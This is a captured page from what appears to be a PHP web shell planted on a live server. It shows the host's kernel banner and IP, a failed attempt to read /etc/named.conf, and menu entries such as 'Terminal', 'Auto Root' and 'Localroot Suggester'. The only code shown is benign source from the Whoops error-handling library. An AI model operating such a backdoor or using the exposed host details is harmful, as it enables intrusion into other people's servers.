Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 3.143.247.141
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
3 /
filp /
whoops /
src /
Whoops /
Handler /
Delete
Unzip
Name
Size
Permission
Date
Action
CallbackHandler.php
1.32
KB
-rw-r--r--
2018-10-23 09:00
Handler.php
1.83
KB
-rw-r--r--
2018-10-23 09:00
HandlerInterface.php
719
B
-rw-r--r--
2018-10-23 09:00
JsonResponseHandler.php
1.94
KB
-rw-r--r--
2018-10-23 09:00
PlainTextHandler.php
7.62
KB
-rw-r--r--
2018-10-23 09:00
PrettyPageHandler.php
22.7
KB
-rw-r--r--
2018-10-23 09:00
XmlResponseHandler.php
2.61
KB
-rw-r--r--
2018-10-23 09:00
Save
Rename
<?php /** * Whoops - php errors for cool kids * @author Filipe Dobreira <http://github.com/filp> */ namespace Whoops\Handler; use InvalidArgumentException; /** * Wrapper for Closures passed as handlers. Can be used * directly, or will be instantiated automagically by Whoops\Run * if passed to Run::pushHandler */ class CallbackHandler extends Handler { /** * @var callable */ protected $callable; /** * @throws InvalidArgumentException If argument is not callable * @param callable $callable */ public function __construct($callable) { if (!is_callable($callable)) { throw new InvalidArgumentException( 'Argument to ' . __METHOD__ . ' must be valid callable' ); } $this->callable = $callable; } /** * @return int|null */ public function handle() { $exception = $this->getException(); $inspector = $this->getInspector(); $run = $this->getRun(); $callable = $this->callable; // invoke the callable directly, to get simpler stacktraces (in comparison to call_user_func). // this assumes that $callable is a properly typed php-callable, which we check in __construct(). return $callable($exception, $inspector, $run); } }